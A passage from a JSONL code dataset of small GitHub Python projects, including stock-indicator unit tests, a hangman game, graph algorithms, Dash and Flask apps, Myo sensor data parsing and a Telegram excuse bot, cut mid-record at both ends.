range(M):\n        if wind_map[i][j]:\n            count += 1\nprint(count)\n","repo_name":"mintropy/algorithm_pulzo","sub_path":"이영준/2022/02/0207/21922.py","file_name":"21922.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"24732925548","text":"# get API\n\nimport json\nimport requests\n\nr = requests.get(\"https://jsonplaceholder.typicode.com/posts\")\nresult = json.loads(r.text)  # json to python dict\n\nuserDict = {}\n\nfor i in range(len(result)):\n    id = str(result[i][\"userId\"])\n    if id in userDict:\n        userDict[id] += 1\n    else:\n        userDict[id] = 1\n\nprint(userDict)\n","repo_name":"claire-yyf/python-crawler","sub_path":"requests.py","file_name":"requests.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15474868301","text":"# retrieves all of the technical indicators needed to determine buy and sell signals\nexec(\"\"\"\\nimport sys,os\\nexec(\\\"\\\"\\\"\\\\ndef get_git_root(path=os.getcwd(),display=False):\\\\n    \\\\n    '''\\\\n    Get Git Root Directory. Only recursively goes up 10 directories.\\\\n    RETURNS: None or absolute path to git root directory\\\\n    '''\\\\n    count = 0\\\\n    prefix = \"\"\\\\n    while count < 10:\\\\n        if os.path.exists(prefix+'.git'):\\\\n            return os.path.abspath(prefix)\\\\n        else:\\\\n            prefix +=\"../\"\\\\n            count+=1\\\\n    print(\"No git top level directory\")\\\\n    return None\\\\n\\\"\\\"\\\")\\ngitroot=get_git_root()\\nsys.path.append(os.path.abspath(gitroot))\\n\"\"\") # one liner statement that adds the root of this repo to python for inports\nfrom helper_functions import get_fundamental_indicators, general\nfrom importlib import reload\nreload(get_fundamental_indicators)\nimport unittest\nimport os\nfrom datetime import date, datetime, timedelta\n\n## is_composite_stock\nclass TestCompositeStock(unittest.TestCase):\n    def test_is_composite_stock_true(self):\n        stock_info = {'symbol': '^IXIC'}\n        self.assertTrue(get_fundamental_indicators.is_composite_stock(stock_info, \"^IXIC\"))\n\n    def test_is_goog_false(self):\n        stock_info = {'symbol': 'GOOGL'}\n        self.assertFalse(get_fundamental_indicators.is_composite_stock(stock_info, 'GOOGL'))\n        \n    def test_is_short_composite_true(self):\n        stock_info = {'symbol': 'DJI'}\n        self.assertTrue(get_fundamental_indicators.is_composite_stock(stock_info, 'DJI'))\n\n    def test_is_blank_stock_false(self):\n        stock_info = {'symbol': ''}\n        self.assertFalse(get_fundamental_indicators.is_composite_stock(stock_info, \"\"))\n\n    def test_is_empty_false(self):\n            stock_info = {}\n            self.assertFalse(get_fundamental_indicators.is_composite_stock(stock_info, None))\n\n## get_all_symbols\nclass TestgetAllSymbols(unittest.TestCase):\n    def test_retrieved_symbols_are_greater_than_10k(self):\n        values = get_fundamental_indicators.get_all_symbols()\n        self.assertGreater(len(values), 10000) # there are always atleast 10k symbols in the indexes\n\n## get_all_symbol_object\nclass TestgetAllSymbolObject(unittest.TestCase):\n    def test_retrieved_symbol_objects_added_the_indexes(self):\n        values = len(get_fundamental_indicators.get_all_symbols())\n        values_plus_2 = len(get_fundamental_indicators.get_all_symbol_object())#two indexes, ixic and nya are being added here\n        self.assertEqual(values+2, values_plus_2)\n\n        blacklist = [{'symbol': \"GOOG\", 'exchange': \"NASDAQ\"}, {'symbol': \"DUK\", 'exchange': \"NYSE\"}]\n        values_minus_2 = len(get_fundamental_indicators.get_all_symbol_object(blacklist=blacklist))\n        self.assertEqual(values, values_minus_2)\n\n## get_symbol_object\nclass TestgetSymbolObject(unittest.TestCase):\n    def test_retrieved_symbol(self):\n        value = get_fundamental_indicators.get_symbol_object(\"GOOG\", \"NASDAQ\")\n        test = value['symbol']\n        self.assertEqual(test, 'GOOG') # there are always atleast 10k symbols in the indexes\n\n## get_good_stock_data\nstock_keys = ['shortName', 'industry', 'symbol', 'exchange', 'currentPrice', 'marketCap', 'heldPercentInstitutions', 'dividendYield', 'exDividendDate', 'forwardEps', 'trailingEps', 'forwardPE', 'trailingPE', 'priceToBook', 'profitMargins', 'totalRevenue', 'grossProfits', 'returnOnAssets', 'returnOnEquity', 'debtToEquity', 'sharesOutstanding', 'floatShares', 'nextEarningsDate', '4Quarters_increasing_revenue', '4Quarters_increasing_profit', '4years_increasing_revenue', '4years_increasing_profit', 'pct_chg_5y', 'pct_chg_1y', 'pct_chg_6mo', 'pct_chg_3mo', 'pct_chg_1mo', 'pct_chg_1wk', 'fundamentals_url', 'daily_chart', '5mo_chart']\nclass Testget_good_stock_data(unittest.TestCase):\n    def test_retrieved_good_stock(self):\n        self.maxDiff = None\n        stock = get_fundamental_indicators.get_symbol_object(\"ADI\", \"NASDAQ\")\n        value = get_fundamental_indicators.get_good_stock_data(stock, get_any_stock=True)\n        self.assertEqual(list(value.keys()), stock_keys)\n\n## write_symbol_to_csv\n## correct keys for the stock object\ncsv_cleaned_keys = ['shortName', 'industry', 'symbol', 'exchange', 'currentPrice', 'heldPercentInstitutions', 'dividendYield', 'exDividendDate', 'forwardPE', 'trailingPE', 'priceToBook', 'nextEarningsDate', '4Quarters_increasing_revenue', '4Quarters_increasing_profit', '4years_increasing_revenue', '4years_increasing_profit', 'pct_chg_5y', 'pct_chg_1y', 'pct_chg_6mo', 'pct_chg_3mo', 'pct_chg_1mo', 'pct_chg_1wk', 'fundamentals_url', 'daily_chart', '5mo_chart']\nclass Testget_write_symbol_to_csv(unittest.TestCase):\n    ### good stock - ADI\n    def test_csv_retrieved_good_stock(self):\n        value = get_fundamental_indicators.write_symbol_to_csv(\"ADI\", \"NASDAQ\", cache=False)\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n        ### CSV exists\n        file_path = general.resultsPath(\"ADI_stock_data.csv\")\n        assert os.path.exists(file_path)\n        ### cache exists\n        value = get_fundamental_indicators.write_symbol_to_csv(\"ADI\", \"NASDAQ\", cache=True)\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n        file_path = general.dataPath(\"ADI_stock_data\"+str(date.today())+\".pkl\")\n        assert os.path.exists(file_path)\n        ### correct keys\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n        \n    ### bad stock - google\n    def test_csv_didnt_retrieve_bad_stock(self):\n        value = get_fundamental_indicators.write_symbol_to_csv(\"GOOG\", \"NASDAQ\", cache=False)\n        self.assertEqual(value, None)\n    \n    ### get_any_stock - bad stock\n    def test_csv_retrieve_bad_stock_via_any_stock_option(self):\n        value = get_fundamental_indicators.write_symbol_to_csv(\"GOOG\", \"NASDAQ\", cache=False, get_any_stock=True)\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n\n    ### get_any_stock - good stock\n    def test_csv_retrieve_good_stock_via_any_stock_option(self):\n        value = get_fundamental_indicators.write_symbol_to_csv(\"ADI\", \"NASDAQ\", cache=True, get_any_stock=True)\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n        value = get_fundamental_indicators.write_symbol_to_csv(\"ADI\", \"NASDAQ\", cache=False, get_any_stock=True)\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n\n    ### get_any_stock - index\n    def test_csv_retrieve_index_via_any_stock_option(self):\n        value = get_fundamental_indicators.write_symbol_to_csv(\"^IXIC\", \"NASDAQ\", cache=False, get_any_stock=True)\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n        value = get_fundamental_indicators.write_symbol_to_csv(\"^NYA\", \"NYSE\", cache=False, get_any_stock=True)\n        self.assertEqual(list(value.keys()), csv_cleaned_keys)\n\n## write_symbols_to_csv - 7 added(2 index, 5 stocks, 1 stock on blacklist), 2 blacklist stocks, no_all\nclass Testget_write_symbols_to_csv(unittest.TestCase):\n    ### good stocks\n    def test_all_csv_retrieved_good_stocks(self):\n        added=[{'symbol': \"GOOG\", 'exchange': \"NASDAQ\"},{'symbol': \"ADI\", 'exchange': \"NASDAQ\"},{'symbol': \"CNI\", 'exchange': \"NYSE\"},{'symbol': \"CAT\", 'exchange': \"NASDAQ\"},{'symbol': \"V\", 'exchange': \"NYSE\"},{'symbol': \"^IXIC\", 'exchange': \"NASDAQ\"},{'symbol': \"^NYA\", 'exchange': \"NYSE\"}]\n        blacklist=[{'symbol': \"GOOG\", 'exchange': \"NASDAQ\"}, {'symbol': \"DUK\", 'exchange': \"NYSE\"}]\n        value = get_fundamental_indicators.write_symbols_to_csv(added_tickers=added, blacklisted_tickers=blacklist,do_all_tickers=False)\n        self.assertEqual(len(value), 6) #7added-1blacklist=6\n\n\n## get_delta\n### no data\n### symbol added\n### symbol removed\n\n\nif __name__ == '__main__':\n    unittest.main()\n    #suite = unittest.TestSuite()\n    #suite.addTest(Testget_write_symbol_to_csv(\"test_csv_retrieve_index_via_any_stock_option\"))\n    #unittest.TextTestRunner().run(suite)","repo_name":"ClaytonWilson17/investing","sub_path":"helper_functions/get_fundamental_indicators_test.py","file_name":"get_fundamental_indicators_test.py","file_ext":"py","file_size_in_byte":7933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13942501739","text":"#  hangman.py\n\n\nclass GameOver(Exception):\n    def __init__(self, word):\n        # Call the base class constructor with the parameters it needs\n        print(\"Excepting\", word)\n        Exception.__init__(self, 'The word was \"{}\"'.format(word))\n\nclass Hangman:\n    def __init__(self, secret_word, tries):\n        self.my_guess = '?' * len(secret_word)\n        self.secret_word = secret_word\n        self.tries = tries\n\n    def status(self):\n        # print(\"Status: {}\".format(self.my_guess))\n        return self.my_guess\n\n    def guess(self, letter):\n        # print(\"Guessing {}\".format(letter))\n        secret_set = list(self.secret_word)\n        guess_set = list(self.my_guess)\n        letter_count = secret_set.count(letter)\n        # print(\"Letter Count\", letter_count)\n        while guess_set.count(letter) < letter_count >= 0:\n            guess_set[secret_set.index(letter)] = letter\n            self.my_guess = ''.join(guess_set)\n            secret_set[secret_set.index(letter)] = '?'\n        if letter_count <= 0:\n            self.tries -= 1\n            # print(\"Wrong!\", self.tries)\n            if self.tries <= 0:\n                print(\"Game Over!\", self.secret_word)\n                raise GameOver(self.secret_word)\n        return letter_count\n\n        # if self.secret_word.find(letter) >= 0:\n        #     self.my_guess[self.secret_word.find(letter)] = letter\n        # return self.status()\n\n    def lets(self):\n        raise GameOver(self.secret_word)\n\n# game = Hangman(\"hellooo\", 10)\n# print(game.status())\n# print(game.guess('o'))\n# print(game.status())\n","repo_name":"Alonski/superbootcamp","sub_path":"hangman_tdd/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"9734429910","text":"from MyGraph import MyGraph\nimport sys\nfrom datetime import datetime\n\nsys.setrecursionlimit(200000000)\n#Representação utilizando Matriz/Lista de Adjacência\n\ng = MyGraph(full=5, n_vrt=5)\nprint(g.get_adjacency_matrix())\nprint(g.get_adjacency_list())\ng.show()\n\n# Criação de grafos com X vértices\ng = MyGraph(n_vrt=5)\n\n# Adição de arestas\ng.add_edge(0, 1)\ng.add_edge(1, 2)\ng.add_edge(2, 3)\ng.add_edge(3, 4)\n# g.show()\n\n# Remoção de Arestas\ng.remove_edge(2, 3)\n# g.show()\n\n# Ponderação de vértices\ng = MyGraph(n_vrt=4)\ng.set_vertex_label(0, \"Rafael\")\ng.set_vertex_label(1, \"Lucas\")\ng.set_vertex_label(2, \"Lucas\")\ng.set_vertex_label(3, \"Samuel\")\n# g.show()\n\n# Ponderação de arestas\ng = MyGraph(n_vrt=3)\ng.add_edge(0, 1)\ng.add_edge(1, 2)\ng.set_edge_label(0, 1, \"Teste\")\ng.set_edge_label(1, 2, \"23/01\")\ng.get_edge_label(1, 2)\ng.set_edge_val(1, 2, 5)\ng.set_edge_val(1, 2, 10)\n# g1.show()\n\n# Checagem de adjacência entre vértices\ng = MyGraph(n_vrt=3)\ng.add_edge(0, 1)\ng.add_edge(1, 2)\nprint(g.is_vertices_adjacents(0, 1))\nprint(g.is_vertices_adjacents(2, 0))\n\n# Checagem de adjacência entre arestas\ng = MyGraph(n_vrt=4)\ng.add_edge(0, 1)\ng.add_edge(1, 2)\ng.add_edge(2, 3)\nprint(g.is_edges_adjacents(0, 1, 1, 2))\nprint(g.is_edges_adjacents(0, 3, 2, 3))\n\n# Checagem da existência de arestas\ng = MyGraph(n_vrt=4)\ng.add_edge(0, 1)\ng.add_edge(1, 2)\ng.add_edge(2, 3)\nprint(g.edge_exists(0, 1))\nprint(g.edge_exists(1, 3))\n\n# Checagem de quantidade de vértices e arestas\ng = MyGraph(n_vrt=5)\ng.add_edge(0, 1)\ng.add_edge(1, 2)\ng.add_edge(2, 3)\ng.add_edge(3, 4)\nprint(g.vertex_count())\nprint(g.edges_count())\n\n# Checagem de grafo vazio\ng = MyGraph(n_vrt=5)\ng.add_edge(0, 1)\nprint(g.is_graph_empty())\ng.remove_edge(0, 1)\nprint(g.is_graph_empty())\n\n# Checagem de grafo completo\ng = MyGraph(n_vrt=5, full=True)\nprint(g.is_full_graph())\ng.remove_edge(0, 1)\nprint(g.is_full_graph())\n\n# Identifica ponte entre vértices\ng = MyGraph(n_vrt=4)\ng.add_edge(0, 1)\ng.add_edge(1, 2)\ng.add_edge(1, 3)\ng.add_edge(2, 3)\nprint(g.is_bridge_naive(0, 1))\nprint(g.is_bridge_tarjan(0, 1))\nprint(g.is_bridge_naive(1, 3))\nprint(g.is_bridge_tarjan(1, 3))\n\n# Fleury\n\n# Exemplo Euleriano\ng = MyGraph(n_vrt=5, full=True)\nprint(g.fleury())\n\n# Exemplo Semi-Euleriano\ng = MyGraph(n_vrt=4)\ng.add_edge(0,1)\ng.add_edge(1,2)\ng.add_edge(1,3)\ng.add_edge(2,3)\nprint(g.fleury())\n\n# Exemplo Não-Euleriano\ng = MyGraph(n_vrt=4, full=True)\nprint(g.fleury())\n\n# Teste com 100 vértices\ng = MyGraph(n_vrt=100, ring=True)\n\nstartDate = datetime.today()\nprint(\"TARJAN (100) \")\nfleury = g.fleury(method=\"TARJAN\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\ng = MyGraph(n_vrt=100, ring=True)\n\nstartDate = datetime.today()\nprint(\"NAIVE (100) \")\nfleury = g.fleury(method=\"NAIVE\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\n# Teste com 1000 vértices\ng = MyGraph(n_vrt=1000, ring=True)\n\nstartDate = datetime.today()\nprint(\"TARJAN (1000) \")\nfleury = g.fleury(method=\"TARJAN\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\ng = MyGraph(n_vrt=1000, ring=True)\n\nstartDate = datetime.today()\nprint(\"NAIVE (1000) \")\nfleury = g.fleury(method=\"NAIVE\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\n# Teste com 10000 vértices\ng = MyGraph(n_vrt=10000, ring=True)\n\nstartDate = datetime.today()\nprint(\"TARJAN (10000) \")\nfleury = g.fleury(method=\"TARJAN\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\ng = MyGraph(n_vrt=10000, ring=True)\n\nstartDate = datetime.today()\nprint(\"NAIVE (10000) \")\nfleury = g.fleury(method=\"NAIVE\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\n# Teste com 100000 vértices\ng = MyGraph(n_vrt=100000, ring=True)\n\nstartDate = datetime.today()\nprint(\"TARJAN (100000) \")\nfleury = g.fleury(method=\"TARJAN\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\ng = MyGraph(n_vrt=100000, ring=True)\n\nstartDate = datetime.today()\nprint(\"NAIVE (100000) \")\nfleury = g.fleury(method=\"NAIVE\")\nprint(datetime.today()-startDate)\nprint(fleury)\n\n# Export graph (Default: output.gml, format: gml)\n## Nome do arquivo pode ser alterado pelo parâmetro filename e o formato pelo parâmetro format\ng = MyGraph(n_vrt=5, full=True)\ng.export_graph()\n\n# Export graph (Default: output.gml, format: gml)\n## Nome do arquivo pode ser alterado pelo parâmetro filename e o formato pelo parâmetro format\nk5 = MyGraph().import_graph()\nk5.show()","repo_name":"RafaelMarotta/trabalho-final-grafos","sub_path":"src/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":4292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28027772137","text":"# kondisional if else\r\n# konsep sederhananya adlaah jika-maka & selain itu\r\n\r\n# jika jumlah mahasiswa dalam satu kelas lebih dari 19, maka itu adalah kelas si 14\r\n# selain itu bukan kelas si 14\r\n\r\njumlah_mahasiswa = 14\r\n\r\nif jumlah_mahasiswa >= 19:\r\n    print('Ini adalah Kelas SI 14')\r\nelse:\r\n    print('Bukan Kelas SI 14')\r\n\r\n# jika praktikum dilaksanakan pada hari senin, maka itu adalah praktikum ddp\r\n# jika praktikum dilaksanakan pada hari rabu, maka itu adalah praktikum web\r\n# jika praktikum dilaksanakan pada hari jumat, maka itu adalah praktikum front end\r\n# selain itu adalah kelas literasi\r\n\r\npraktikum = 'Jumat'\r\n\r\nif praktikum == 'Senin':\r\n    ket = 'Hari praktikum DDP'\r\nelif praktikum == 'Rabu':\r\n    ket = 'Hari praktikum Web'\r\nelif praktikum == 'Jumat':\r\n    ket = 'Hari praktikum front end'\r\nelse:\r\n    ket = 'Hari kelas Literasi'\r\n\r\nprint(ket)","repo_name":"hzspec64/DDP-Semester-1","sub_path":"latihan praktikum with asdos/ingatan 2.py","file_name":"ingatan 2.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12708749288","text":"import unittest\n\nfrom utils.text.tokenizer import Tokenizer\n\n\nclass TestTokenizer(unittest.TestCase):\n\n    def test_call_happy_path(self) -> None:\n        tokenizer = Tokenizer()\n        tokens = tokenizer('_ abc{')\n        self.assertEqual([0, 10, 36, 52, 57], tokens)\n\n        decoded = tokenizer.decode(tokens)\n        self.assertEqual('_ abc', decoded)","repo_name":"agheful/PajladaTTS","sub_path":"tests/test_tokenizer.py","file_name":"test_tokenizer.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"39792035304","text":"# Plot of analytical solution from shell momentum balance\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nR = 20\nM = 2\nr = np.linspace(-R, R, 100)\nvz = M * (1 - (r/R)**2)\nplt.xlabel(\"r\")\nplt.ylabel(\"vz\")\nplt.plot(r, vz)\nplt.savefig(\"shellbalance.png\")\nplt.show()\n\n\n","repo_name":"chemicalfiend/dsmc-microchannel","sub_path":"codes/shellbalanceplot.py","file_name":"shellbalanceplot.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4123226929","text":"import csv\nimport os\n\nscisors_training_set = []\npaper_training_set = []\nstone_training_set = []\n\n\ndef process_from_files():\n    data_folder = 'data'\n    for root, dirs, files in os.walk(data_folder, topdown=False):\n        for name in files:\n            if root == \"{}/paper1\".format(data_folder):\n                file_as_list = read_parsed_data(root, name)\n                paper_training_set.append(file_as_list)\n            elif root == \"{}/scisors\".format(data_folder):\n                file_as_list = read_parsed_data(root, name)\n                scisors_training_set.append(file_as_list)\n            elif root == \"{}/stone\".format(data_folder):\n                file_as_list = read_parsed_data(root, name)\n                stone_training_set.append(file_as_list)\n    return stone_training_set, paper_training_set, scisors_training_set\n\n\ndef read_parsed_data(root, name):\n    file_path = os.path.join(root, name)\n    print(\"Opening file:\", file_path)\n    with open(file_path, 'r') as csvfile:\n        reader = csv.reader(csvfile, delimiter=',', quoting=csv.QUOTE_ALL)\n        parsed_file = parse_different_sensors_to_one_row(reader)\n    return change_dict_to_list(parsed_file)\n\n\ndef change_dict_to_list(parsed_data_to_dict):\n    row_of_one_learning_row = []\n    for row in parsed_data_to_dict:\n        for v in row.values():\n            row_of_one_learning_row.extend(v)\n    return row_of_one_learning_row\n\n\ndef parse_different_sensors_to_one_row(file_rows):\n    \"\"\"\n    File contain sensor data in two rows with format:\n    \"2018-03-18 14:13:06.380920\",\"emg\",\"45\",\"82\",\"113\",\"142\",\"59\",\"40\",\"30\",\"34\"\n    \"2018-03-18 14:13:06.388565\",\"acc\",\"720\",\"204\",\"-96\",\"33\",\"gyro\",\"6208\",\"-194\",\"-1945\",\"quat\",\"-12062\",\"7837\",\"-4796\"\n    Needed is parse it to one row and change to dict for easier later parse.\n    :param file_rows: list of lists that containt sensors data\n    :return example:\n    [{emg:[1,2,4], acc:[12,12,12,12], gyro:[12,2,3], quat:[1,2,3],{(...)}]\n    \"\"\"\n    rows = []\n    sensors = dict()\n\n    for row in file_rows:\n        if \"emg\" in sensors and \"acc\" in sensors:\n            rows.append(sensors)\n            sensors = dict()\n        if row[1] == \"emg\":\n            sensors[\"emg\"] = row[2:10]\n        else:\n            sensors[\"acc\"] = row[2:6]\n            sensors[\"gyro\"] = row[7:10]\n            sensors[\"quat\"] = row[11:15]\n    if len(rows) == 50:\n        rows.pop(0)\n    return rows\n\n\nif __name__ == \"__main__\":\n    process_from_files()\n    print(len(paper_training_set[0]))","repo_name":"noemiko/myo_classify","sub_path":"data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"74466305014","text":"import dash\nfrom dash import dcc, html\nimport pandas as pd\nimport plotly.graph_objects as go\n\nfrom helper import Sheets\n\n# style & format\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\nserver = app.server\n\n# get data\ndata = Sheets(\"v3-optimizer-data\").df\ndata[\"date\"] = pd.to_datetime(data['timestamp'], unit='s')\n# find unique poolIds and managers\nlist_pool_ids = data.poolId.unique()\nlist_managers = data.manager.unique()\n\nlist_pool_id_figs = []\nfor pool_id in list_pool_ids:\n    temp_fig = go.Figure()\n    token_0, token_1, fee = pool_id.split(\"_\")\n    token_0 = token_0.upper()\n    token_1 = token_1.upper()\n    title = \"Uniswap V3 Pool: {} / {} @ {}% fee\".format(token_0, token_1, fee)\n    temp_fig.update_layout(title_text=title, title_x=0.5)\n    for manager in list_managers:\n        temp_df = data[(data[\"poolId\"] == pool_id) & (data[\"manager\"] == manager)].copy()\n        if not temp_df.empty:\n            temp_df = temp_df.reset_index(drop=True)\n            temp_df.sort_values(\"date\", inplace=True)\n            temp_initial_price = temp_df['vaultTokenPrice'].iloc[0]\n            temp_df[\"priceDev\"] = temp_df[\"vaultTokenPrice\"] / temp_initial_price\n            temp_fig.add_trace(go.Scatter(x=temp_df['date'], y=temp_df['priceDev'], name=manager))\n        else:\n            pass\n    list_pool_id_figs.append(temp_fig)\n\n\noutput = []\nfor idx, fig in enumerate(list_pool_id_figs):\n    output.append(dcc.Graph(id=str(idx+1),\n                            figure=fig\n                            )\n                  )\n\napp.layout = html.Div(children=output)\n\nif __name__ == \"__main__\":\n    app.run_server(debug=True)\n","repo_name":"f-erdi1990/v3-visualizer","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17067649673","text":"import flask\nfrom flask import request\n\nfrom src import application\n\n\n@application.route('/')\ndef hello():\n    return 'Hello World!!!!'\n\n\n@application.route('/host-pricing-engine/compute-price', methods=['POST'])\ndef calculate_price():\n    json = request.get_json()\n    try:\n        print(json['host_split'])\n        print(json['guest_price'])\n        print(json['channel_fees'])\n        print(json['vat_percentage'])\n        print(json['floor_price'])\n    except KeyError:\n        return \"Invalid format\", 400\n\n    return flask.jsonify(host_share=50.0,\n                         ofs_share=5000.0,\n                         vat=90.0\n                         )\n","repo_name":"priyadarshiniravi/pricing","sub_path":"src/services/pricing_engine_service.py","file_name":"pricing_engine_service.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11762240592","text":"import os\nfrom sys import argv\nfrom mod_pbxproj import XcodeProject\nimport appcontroller\npath = argv[1]\nfileToAddPath = argv[2]\n\n\nprint('post_process.py xcode build path --> ' + path)\nprint('post_process.py third party files path --> ' + fileToAddPath)\n\nprint('Step 1: add system libraries ')\n#if framework is optional, add `weak=True`\nproject = XcodeProject.Load(path +'/Unity-iPhone.xcodeproj/project.pbxproj')\nproject.add_file('System/Library/Frameworks/AdSupport.framework', tree='SDKROOT')\n\nprint('Step 2: modify the AppController')\nappcontroller.touch_implementation(path + '/Classes/UnityAppController.mm')\nappcontroller.touch_header(path + '/Classes/UnityAppController.h')\n\nprint('Step 3: change build setting')\nproject.add_other_buildsetting('GCC_ENABLE_OBJC_EXCEPTIONS', 'YES')\n\nprint('Step 4: save our change to xcode project file')\nif project.modified:\n    project.backup()\n    project.saveFormat3_2()\n","repo_name":"ideaplexus/gb","sub_path":"Assets/Editor/post_process.py","file_name":"post_process.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19551116768","text":"from bson import ObjectId\nfrom flask import Blueprint, render_template, request, redirect, url_for\nfrom flask_login import login_required, current_user\nfrom server import users\nfrom datetime import datetime\nfrom server.models import Brick, Wall\n\nviews = Blueprint('views', __name__)\n\n\n@views.route('/', methods=['GET', 'POST'])\n@login_required\ndef home():\n    # When user submits a form\n    if request.method == 'POST':\n        # Find user in users and then store the record into the user's records\n        add_notes = request.form.get('add_notes')\n        tired_level = request.form.get('tired_level')\n        date = datetime.now().strftime(\"%Y-%m-%d\")\n        time = datetime.now().strftime(\"%H:%M:%S\")\n        new_entry = {\n            \"tired_level\": tired_level,\n            \"add_notes\": add_notes,\n            \"date\": date,\n            \"time\": time\n        }\n        # Update the user's records\n        update_result = users.update_one(\n            {\"_id\": ObjectId(current_user.get_id())},\n            {\"$push\": {\"records\": new_entry}}\n        )\n        # Update the user's bricks\n        if update_result.modified_count > 0:\n            user = users.find_one({\"_id\": ObjectId(current_user.get_id())})\n            bricks = user.get(\"bricks\", {})\n            # print(bricks)\n            if date in bricks:\n                brick = Brick.from_json(bricks[date])\n                brick.update(tired_level)\n                bricks[date] = brick.to_json()\n            else:\n                new_brick = Brick(1, int(tired_level))\n                bricks[date] = new_brick.to_json()\n\n            # Update the user's bricks\n            users.update_one(\n                {\"_id\": ObjectId(current_user.get_id())},\n                {\"$set\": {\"bricks\": bricks}}\n            )\n        return redirect(url_for('views.home'))\n\n    # Get the user's records\n    user = users.find_one({\"_id\": ObjectId(current_user.get_id())})\n    name = user.get(\"username\", \"My friend\")\n    records = user.get(\"records\", [])\n    bricks = user.get(\"bricks\", {})\n    today = datetime.now().strftime(\"%Y-%m-%d\")\n\n    # Generate a tiredness wall\n    wall = Wall(bricks).wall_list\n\n    return render_template('home.html', user=current_user, name=name, records=records, wall=wall, today=today)\n\n\n@views.route('/chat')\n@login_required\ndef chat():\n    user_id = current_user.get_id()\n    user_name = users.find_one({\"_id\": ObjectId(user_id)}).get(\"username\", \"My friend\")\n    return render_template(\"chatbot.html\", user=current_user, name=user_name)\n","repo_name":"Pumbaaxx/Tireder","sub_path":"server/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3983898381","text":"from funcoes import funcoesAula8 as fn\nfrom funcoes import customfunctions as fun\n\n#Ecercicio 1\ndef maior(lista):\n    isList = fn.ehLista(lista)\n\n    if isList and len(lista) > 0:\n        print(max(lista))\n    else:\n        print(0)\n\n\n#Excercicio 2\ndef mediaPositivos(lista):\n\n    arrayPositives = list(filter(fun.onlyPositives, lista))\n\n    if not lista or len(arrayPositives) == 0:\n        print(0)\n    else:\n        print(sum(arrayPositives) / len(arrayPositives))\n\n\n#Execercicio 3\n#def emagrece(matrix):\n\n\n\ndef main():\n    maior([1, 2, 3, 4, 23, 43, 100])\n    mediaPositivos([-1, 3, 4, -5, -3, 10])\n\n\n\n\nif __name__ == '__main__':\n    main()","repo_name":"jairorudas/AP2FD","sub_path":"exercicio1.py","file_name":"exercicio1.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74878780211","text":"import json\nimport logging\nimport os\nimport random\nimport time\n\nfrom emoji import emojize\nfrom telegram import Bot, Update\n\nlogging.basicConfig(\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)\n\nRESPONSE = {\n    \"OK\": {\n        'statusCode': 200,\n        'headers': {'Content-type': 'application/json'},\n        'body': json.dumps(\"Ok\")\n    },\n    \"ERROR\": {\n        'statusCode': 400,\n        'body': json.dumps(\"Something went wrong\")\n    }\n}\n\n\ndef configure_telegram():\n    TELEGRAM_TOKEN = os.environ.get('TELEGRAM_TOKEN')\n    if not TELEGRAM_TOKEN:\n        logging.error(\n            'TELEGRAM_TOKEN Not found, it must be set before moving forward.')\n        raise NotImplementedError\n    return Bot(TELEGRAM_TOKEN)\n\n\ndef populate_excuse():\n    global excuseDict\n    excuseDict = {}\n    officeExcuse = (\n        \"I missed the office because ozone fluttered my car tire in the air.\", \"The pressure cooker in my house exploded and scared the maid so I had to stay at home\", \"I was blocked by the tax department of the housing committee who raided my house.\", \"Loki Chan was again in my lunch box, and I was very upset to go on time\")\n    birthdayExcuse = (\n        \"I remember if I did not eat canteen for lunch!\",\n        \"The weather has made me do this. Seriously. In May, to cry loudly in Mumbai! 